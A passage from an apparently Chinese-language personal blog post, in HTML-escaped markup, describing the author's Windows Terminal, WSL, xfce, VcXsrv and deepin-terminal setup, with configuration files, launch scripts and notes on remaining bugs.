style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;https://docs.microsoft.com/en-us/windows/wsl/wsl2-install&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;下面的配置解决了我的几个问题：&lt;/p&gt;&lt;ul style=&quot;margin-bottom: 16px; padding: 0px 0px 0px 2em; line-height: 2.5em; box-sizing: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;配置字体&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;干掉黑框&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;隐藏滚动条&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;默认进入&amp;nbsp;&lt;code class=&quot;notranslate&quot; style=&quot;font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 13.6px; border-radius: 3px; overflow: auto; color: rgb(102, 102, 102); background-color: rgba(0, 0, 0, 0.04); margin: 0px; padding: 0.2em 0px; box-sizing: border-box;&quot;&gt;$HOME&lt;/code&gt;&amp;nbsp;目录&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;notranslate&quot; style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-stretch: normal; font-size: 13.6px; line-height: 1.45; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; border-radius: 3px; overflow: auto; border: 1px solid rgb(238, 238, 238); padding: 16px; text-wrap: wrap; overflow-wrap: normal; background-color: rgb(247, 247, 247); box-sizing: border-box; margin-top: 0px; margin-bottom: 16px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;fontFace&amp;quot;:&amp;nbsp;&amp;nbsp;&amp;quot;SauceCodePro&amp;nbsp;Nerd&amp;nbsp;Font&amp;nbsp;Mono&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;cursorShape&amp;quot;:&amp;nbsp;&amp;quot;filledBox&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;padding&amp;quot;&amp;nbsp;:&amp;nbsp;&amp;quot;0,&amp;nbsp;0,&amp;nbsp;0,&amp;nbsp;0&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;scrollbarState&amp;quot;:&amp;nbsp;&amp;quot;hidden&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;commandline&amp;quot;&amp;nbsp;:&amp;nbsp;&amp;quot;wsl.exe&amp;nbsp;~&amp;quot;,&lt;/pre&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer nofollow&quot; href=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513233608177868656892275.png&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;&lt;img src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513233608177868656892275.png&quot; alt=&quot;image&quot; style=&quot;border: 0px; vertical-align: middle; margin: 0px auto; box-sizing: border-box;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;我的完整配置如下：&lt;/p&gt;&lt;pre class=&quot;notranslate&quot; style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-stretch: normal; font-size: 13.6px; line-height: 1.45; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; border-radius: 3px; overflow: auto; border: 1px solid rgb(238, 238, 238); padding: 16px; text-wrap: wrap; overflow-wrap: normal; background-color: rgb(247, 247, 247); box-sizing: border-box; margin-top: 0px; margin-bottom: 16px;&quot;&gt;//&amp;nbsp;To&amp;nbsp;view&amp;nbsp;the&amp;nbsp;default&amp;nbsp;settings,&amp;nbsp;hold&amp;nbsp;&amp;quot;alt&amp;quot;&amp;nbsp;while&amp;nbsp;clicking&amp;nbsp;on&amp;nbsp;the&amp;nbsp;&amp;quot;Settings&amp;quot;&amp;nbsp;button.
//&amp;nbsp;For&amp;nbsp;documentation&amp;nbsp;on&amp;nbsp;these&amp;nbsp;settings,&amp;nbsp;see:&amp;nbsp;https://aka.ms/terminal-documentation

{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;$schema&amp;quot;:&amp;nbsp;&amp;quot;https://aka.ms/terminal-profiles-schema&amp;quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;defaultProfile&amp;quot;:&amp;nbsp;&amp;quot;{c6eaf9f4-32a7-5fdc-b5cf-066e8a4b1e40}&amp;quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;profiles&amp;quot;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;guid&amp;quot;:&amp;nbsp;&amp;quot;{c6eaf9f4-32a7-5fdc-b5cf-066e8a4b1e40}&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;hidden&amp;quot;:&amp;nbsp;false,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;name&amp;quot;:&amp;nbsp;&amp;quot;Ubuntu-18.04&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;source&amp;quot;:&amp;nbsp;&amp;quot;Windows.Terminal.Wsl&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;fontFace&amp;quot;:&amp;nbsp;&amp;nbsp;&amp;quot;SauceCodePro&amp;nbsp;Nerd&amp;nbsp;Font&amp;nbsp;Mono&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;cursorShape&amp;quot;:&amp;nbsp;&amp;quot;filledBox&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;padding&amp;quot;&amp;nbsp;:&amp;nbsp;&amp;quot;0,&amp;nbsp;0,&amp;nbsp;0,&amp;nbsp;0&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;scrollbarState&amp;quot;:&amp;nbsp;&amp;quot;hidden&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;commandline&amp;quot;&amp;nbsp;:&amp;nbsp;&amp;quot;wsl.exe&amp;nbsp;~&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;snapOnInput&amp;quot;:&amp;nbsp;true
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;Make&amp;nbsp;changes&amp;nbsp;here&amp;nbsp;to&amp;nbsp;the&amp;nbsp;powershell.exe&amp;nbsp;profile
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;guid&amp;quot;:&amp;nbsp;&amp;quot;{61c54bbd-c2c6-5271-96e7-009a87ff44bf}&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;name&amp;quot;:&amp;nbsp;&amp;quot;Windows&amp;nbsp;PowerShell&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;commandline&amp;quot;:&amp;nbsp;&amp;quot;powershell.exe&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;hidden&amp;quot;:&amp;nbsp;false
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;Make&amp;nbsp;changes&amp;nbsp;here&amp;nbsp;to&amp;nbsp;the&amp;nbsp;cmd.exe&amp;nbsp;profile
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;guid&amp;quot;:&amp;nbsp;&amp;quot;{0caa0dad-35be-5f56-a8ff-afceeeaa6101}&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;name&amp;quot;:&amp;nbsp;&amp;quot;cmd&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;commandline&amp;quot;:&amp;nbsp;&amp;quot;cmd.exe&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;hidden&amp;quot;:&amp;nbsp;false
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;guid&amp;quot;:&amp;nbsp;&amp;quot;{b453ae62-4e3d-5e58-b989-0a998ec441b8}&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;hidden&amp;quot;:&amp;nbsp;false,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;name&amp;quot;:&amp;nbsp;&amp;quot;Azure&amp;nbsp;Cloud&amp;nbsp;Shell&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;source&amp;quot;:&amp;nbsp;&amp;quot;Windows.Terminal.Azure&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;Add&amp;nbsp;custom&amp;nbsp;color&amp;nbsp;schemes&amp;nbsp;to&amp;nbsp;this&amp;nbsp;array
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;schemes&amp;quot;:&amp;nbsp;[],

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;Add&amp;nbsp;any&amp;nbsp;keybinding&amp;nbsp;overrides&amp;nbsp;to&amp;nbsp;this&amp;nbsp;array.
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;To&amp;nbsp;unbind&amp;nbsp;a&amp;nbsp;default&amp;nbsp;keybinding,&amp;nbsp;set&amp;nbsp;the&amp;nbsp;command&amp;nbsp;to&amp;nbsp;&amp;quot;unbound&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;keybindings&amp;quot;:&amp;nbsp;[]
}&lt;/pre&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;PS： Windows Terminal 还不能用于生产工具，还存在以下问题没有解决：&lt;/p&gt;&lt;ul style=&quot;margin-bottom: 16px; padding: 0px 0px 0px 2em; line-height: 2.5em; box-sizing: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;光标在 Vim 里面一直是白块状态，挡住当前字符&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;不能输入中文&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;鼠标点击不能切换 tmux 窗口&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;更新到 0.7.3291.0 版本后可以输入中文了，但是会自动插入空格。光标在vim里可以变成竖线了，但是白块的时候还是挡住当前字符。再等他完善下吧。&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;期待下一个版本更新，再试试 hyper 吧，hyper 速度不错，就是遇到两个小问题：&lt;/p&gt;&lt;ul style=&quot;margin-bottom: 16px; padding: 0px 0px 0px 2em; line-height: 2.5em; box-sizing: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;nerd 字体显示有缺陷&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;tmux 不支持鼠标&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;缺陷特殊字体&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer nofollow&quot; href=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513233609177868656944193.png&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;&lt;img src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513233609177868656944193.png&quot; alt=&quot;image&quot; style=&quot;border: 0px; vertical-align: middle; margin: 0px auto; box-sizing: border-box;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;最后又试了一下在 WSL 里装 xfce. 最终效果是这样的。&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer nofollow&quot; href=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513233609177868656972174.png&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;&lt;img src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513233609177868656972174.png&quot; alt=&quot;image&quot; style=&quot;border: 0px; vertical-align: middle; margin: 0px auto; box-sizing: border-box;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;配置 xfce 参考了：&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;&lt;a href=&quot;https://token2shell.com/howto/x410/xidekick/&quot; rel=&quot;nofollow&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;https://token2shell.com/howto/x410/xidekick/&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;&lt;a href=&quot;https://www.robertmarkoski.net/wsl/nix/xfce4-on-wsl/&quot; rel=&quot;nofollow&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;https://www.robertmarkoski.net/wsl/nix/xfce4-on-wsl/&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;&lt;a href=&quot;https://www.lainme.com/doku.php/blog/2018/07/%E5%A6%82%E4%BD%95%E4%BC%98%E9%9B%85%E7%9A%84%E5%9C%A8windows_10%E4%B8%8A%E8%A3%85x&quot; rel=&quot;nofollow&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;https://www.lainme.com/doku.php/blog/2018/07/%E5%A6%82%E4%BD%95%E4%BC%98%E9%9B%85%E7%9A%84%E5%9C%A8windows_10%E4%B8%8A%E8%A3%85x&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;&lt;a href=&quot;https://github.com/QMonkey/wsl-tutorial&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;https://github.com/QMonkey/wsl-tutorial&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;&lt;a href=&quot;https://autoize.com/xfce4-desktop-environment-and-x-server-for-ubuntu-on-wsl-2/&quot; rel=&quot;nofollow&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;https://autoize.com/xfce4-desktop-environment-and-x-server-for-ubuntu-on-wsl-2/&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;下面是我的快捷打开terminal的相关脚本和快捷方式&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;&lt;a href=&quot;https://github.com/hanxi/blog/files/3850661/wsl.zip&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;wsl.zip&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;上面的 zip 里&amp;nbsp;&lt;code class=&quot;notranslate&quot; style=&quot;font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 13.6px; border-radius: 3px; overflow: auto; color: rgb(102, 102, 102); background-color: rgba(0, 0, 0, 0.04); margin: 0px; padding: 0.2em 0px; box-sizing: border-box;&quot;&gt;vcxsrv.bat&lt;/code&gt;&amp;nbsp;有个 bug, 用下面这句忽略报错&lt;/p&gt;&lt;pre class=&quot;notranslate&quot; style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-stretch: normal; font-size: 13.6px; line-height: 1.45; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; border-radius: 3px; overflow: auto; border: 1px solid rgb(238, 238, 238); padding: 16px; text-wrap: wrap; overflow-wrap: normal; background-color: rgb(247, 247, 247); box-sizing: border-box; margin-top: 0px; margin-bottom: 16px;&quot;&gt;@echo&amp;nbsp;off

&amp;quot;C:\Program&amp;nbsp;Files\VcXsrv\vcxsrv.exe&amp;quot;&amp;nbsp;:0&amp;nbsp;-multiwindow&amp;nbsp;-clipboard&amp;nbsp;-wgl&amp;nbsp;-ac&amp;nbsp;-silent-dup-error&lt;/pre&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;试了几个终端，都不合我意，安装个 deepin 终端：&lt;/p&gt;&lt;div class=&quot;highlight highlight-source-shell&quot; style=&quot;box-sizing: border-box; margin-bottom: 16px;&quot;&gt;&lt;pre class=&quot;notranslate&quot; style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-stretch: normal; font-size: 13.6px; line-height: 1.45; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; border-radius: 3px; overflow: auto; border: 1px solid rgb(238, 238, 238); padding: 16px; text-wrap: wrap; overflow-wrap: normal; background-color: rgb(247, 247, 247); box-sizing: border-box; margin-top: 0px; margin-bottom: 0px; word-break: normal;&quot;&gt;sudo&amp;nbsp;add-apt-repository&amp;nbsp;ppa:leaeasy/dde
sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;deepin-terminal&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;这个 deepin-terminal 版本比较低，考虑再换个新版本的试试。编译了个最新版，没看出啥区别，暂时用旧版本吧。&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;我又用回最新版本的 deepin-terminal 了，并修了一个&amp;nbsp;&lt;a href=&quot;https://github.com/linuxdeepin/deepin-terminal/pull/207&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/linuxdeepin/deepin-terminal/pull/207/hovercard&quot; style=&quot;color: rgb(65, 131, 196); box-sizing: border-box; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;&quot;&gt;bug&lt;/a&gt;， 使其可以使用 VcXsrv 的窗口管理控制大小。&lt;/p&gt;&lt;pre class=&quot;notranslate&quot; style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-stretch: normal; font-size: 13.6px; line-height: 1.45; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; border-radius: 3px; overflow: auto; border: 1px solid rgb(238, 238, 238); padding: 16px; text-wrap: wrap; overflow-wrap: normal; background-color: rgb(247, 247, 247); box-sizing: border-box; margin-top: 0px; margin-bottom: 16px;&quot;&gt;deepin-terminal&amp;nbsp;-m&amp;nbsp;tiling&lt;/pre&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;上面 zip 包里的 terminal.bat 就需要改成下面这个了&lt;/p&gt;&lt;pre class=&quot;notranslate&quot; style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-stretch: normal; font-size: 13.6px; line-height: 1.45; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; border-radius: 3px; overflow: auto; border: 1px solid rgb(238, 238, 238); padding: 16px; text-wrap: wrap; overflow-wrap: normal; background-color: rgb(247, 247, 247); box-sizing: border-box; margin-top: 0px; margin-bottom: 16px;&quot;&gt;@echo&amp;nbsp;off

start&amp;nbsp;/B&amp;nbsp;vcxsrv.bat
rem&amp;nbsp;bash&amp;nbsp;-c&amp;nbsp;&amp;quot;source&amp;nbsp;~/.bashrc;xfce4-terminal&amp;quot;

bash&amp;nbsp;-c&amp;nbsp;&amp;quot;cd&amp;nbsp;~;export&amp;nbsp;DISPLAY=$(grep&amp;nbsp;-m&amp;nbsp;1&amp;nbsp;nameserver&amp;nbsp;/etc/resolv.conf&amp;nbsp;|&amp;nbsp;awk&amp;nbsp;&amp;#39;{print&amp;nbsp;$2}&amp;#39;):0;export&amp;nbsp;LIBGL_ALWAYS_INDIRECT=1;export&amp;nbsp;GTK_THEME=Adapta-Nokto;export&amp;nbsp;XMODIFIERS=@im=fcitx;export&amp;nbsp;GTK_IM_MODULE=fcitx;export&amp;nbsp;QT_IM_MODULE=fcitx;fcitx-autostart;deepin-terminal&amp;nbsp;-m&amp;nbsp;tiling&amp;quot;&lt;/pre&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;2020/04/02 更新：&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 16px; text-align: justify; box-sizing: border-box;&quot;&gt;其实我已经放弃 deepin-terminal 这个办法了，感觉性能有问题，有卡顿的现象。而且 